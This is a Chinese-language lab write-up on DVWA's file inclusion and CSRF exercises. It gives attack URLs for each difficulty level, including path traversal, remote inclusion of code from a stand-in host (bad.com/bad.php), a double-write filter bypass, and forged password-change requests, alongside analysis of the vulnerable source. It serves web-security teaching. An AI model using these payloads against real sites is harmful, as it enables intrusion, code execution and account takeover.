something about DVWA - File Inclusion

DVWA

DVWA => 备份地址

File Inclusion(文件包含)

文件包含

php配置允许allow_url_include时允许文件包含,配置允许allow_url_fopen时允许包含远程文件。

Low

  • 手工测试

    • 本地文件包含

      dvwa文件包含为此URL:http://train.com/dvwa/vulnerabilities/fi/?page=include.php,尝试替换include.php包含 本地敏感文件。

      http://train.com/dvwa/vulnerabilities/fi/?page=C:\xampp\htdocs\DVWA\robots.txt

      http://train.com/dvwa/vulnerabilities/fi/?page=..\..\robots.txt

    • 远程文件包含

      将远程恶意文件url传递给dvwa。

      http://train.com/dvwa/vulnerabilities/fi/?page=http://bad.com/bad.php

  • 源码分析

    直接在request中获取文件名,直接进行包含。

    1
    2
    // The page we wish to display
    $file = $_GET[ 'page' ];

Medium

  • 手工测试

    str_replace只会过滤一次,因此可以使用 重复构造 的方法( 双写 )进行绕过。

    想要构造http://,因此构造httphttp://://,这样http://被过滤掉后,剩余的字符组合成 目标字符串
    同样的,想要构造../,因此构造..././

    构造后的漏洞利用url为:

    http://train.com/dvwa/vulnerabilities/fi/?page=httphttp://://bad.com/bad.php

    http://train.com/dvwa/vulnerabilities/fi/?page=..././..././robots.txt

  • 源码分析

    request中获取文件名后,使用str_replace将其中的敏感字串过滤掉。

    1
    2
    3
    4
    5
    6
    // The page we wish to display
    $file = $_GET[ 'page' ];

    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    "file = str_replace( array( "../", "..\\" ), "", $file );

High

  • 手工测试

    由于强制要求文件名以file开头,可以使用File协议绕过判断。File协议本地文件传输协议, 因此需要配合文件上传漏洞使用,将恶意文件上传至目标服务器,再使用File协议指定目标文件。

    File协议使用:

    1
    file://path/to/file

    使用File协议后指定包含文件:

    1
    http://train.com/dvwa/vulnerabilities/fi/?page=file://C:\Windows\System32\drivers\etc\hosts
  • 源码分析

    request中获取文件名后,判断其是否为固定字符开头(以file开头)。

    1
    2
    3
    4
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    //...
    }

Impossible

  • 源码分析

    request中获取文件名后,判断其是否在允许包含的文件列表中。

    1
    2
    3
    4
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    //...
    }

something about DVWA - CSRF

DVWA

DVWA => 备份地址

CSRF(跨站请求伪造)

跨站请求伪造(Cross-site request forgery),也被称作one-click attack

用来挟持用户在当前已登录的Web应用程序上执行非本意的操作。

CSRF访问原理:

CSRF访问模型

Low

  • 手工测试

    直接在已经登录成功,身份认证未失效的浏览器上访问以下url即可更改当前用户的密码。

    1
    http://train.com/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
  • 源码分析

    • 直接从request中获取参数

      1
      2
      3
      // Get input
      $pass_new = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];
    • 新密码与确认密码相同即更新数据库

      使用mysqli_real_escape_string函数转义特殊字符,防止sql注入。 然后将密码使用md5加密后入库。

      1
      2
      3
      # 转义特殊字符
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

Medium

  • 手工测试

    Low级别相同。

    不同的是构造的http请求需要包含Referer字段,用来验证url来源。

    1
    Referer: http://train.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
  • 源码分析

    • 判断请求来源页面是否为本系统页面。

      1
      2
      3
      4
      // Checks to see where the request came from
      if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      //...
      }

      其它与Low级别相同。

High

  • 手工测试

    Medium级别相同。

    不同的是构造的http请求需要包含页面上隐藏的token参数。(与XSS配合)

    1
    http://train.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=253d1f2fad7d8c82627b1c356102ad4b#
  • 源码分析

    • 使用token验证身份

      1
      2
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

      其它与Low级别相同。

    • 最后重新生成token

      1
      2
      // Generate Anti-CSRF token
      generateSessionToken();

Impossible

  • 源码分析

    • 使用token验证身份

      High级别相同。

    • 验证当前用户存在

      验证当前用户当前密码是否正确。

      1
      2
      3
      4
      5
      // Check that the current password is correct
      $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
      $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
      $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
      $data->execute();

      其它与High相同。